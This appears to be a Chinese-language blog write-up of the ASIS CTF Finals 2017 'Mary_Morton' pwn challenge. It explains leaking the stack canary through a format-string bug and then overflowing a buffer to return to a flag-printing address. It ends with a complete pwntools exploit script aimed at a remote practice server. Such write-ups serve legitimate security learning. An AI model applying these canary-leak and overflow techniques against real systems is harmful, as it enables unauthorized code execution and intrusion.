ASIS-CTF-Finals-2017 Mary_Morton

讲道理 这个 其实 感觉有两个方法 

两种方法 都要调用一下    第一个  printf函数     

第一个是 我们第一个可以    用printf  然后hook掉got的printf  不知道好不好实现  自己搜索了 资料 也没有发现 

第二个 就是观察栈了  。。。。。。。

这里有个保护  

就是 

readfsqword  在 ida 的f5看的不是很清楚 我们 看 汇编窗口的代码 

只有 rax 和fs:28h 两个值相等的时候   顺利的返回值  要不然  会调用 另一个 函数 

那么 我们那个 比较值 又在 溢出点上面  这就肯定不能随便输入了     可以 把这个原本的值 找出来   然后写回去  

这里  我们看看 2那个函数 

看的出来  他也有这个 readfsqword 这个函数   那么 我们经过调试 发现  

那个点 在   2那里 是  23*8 的地方(相对输入 )  在1的地方是  17*8 的地方   

然后  本来我还以为 他们这个是定值 后来我发现 这个只是一个地址    地址 是随机的  

那么 这个 printf  就可以利用一下  把  我们的   那个 地址 打印出来   然后就可以   把这个利用了

那么可以写出exp

from pwn import*
from time import*
io=remote('111.198.29.45','30114')
system_addr=p64(0x4008de)
io.sendlineafter('3. Exit the battle \n','2')
#io.recv()
io.sendline('%23$p')
sleep(0.3)
io.recvuntil('0x')
ss=io.recv(16)
pp=int(ss,16)
pp=p64(pp)
io.sendline('1')
p='a'*17*8+pp+'a'*8+system_addr
io.sendline(p)
print io.recv()
print io.recv()
print io.recv()

得出flag

猜你喜欢

转载自blog.csdn.net/qq_41071646/article/details/86317159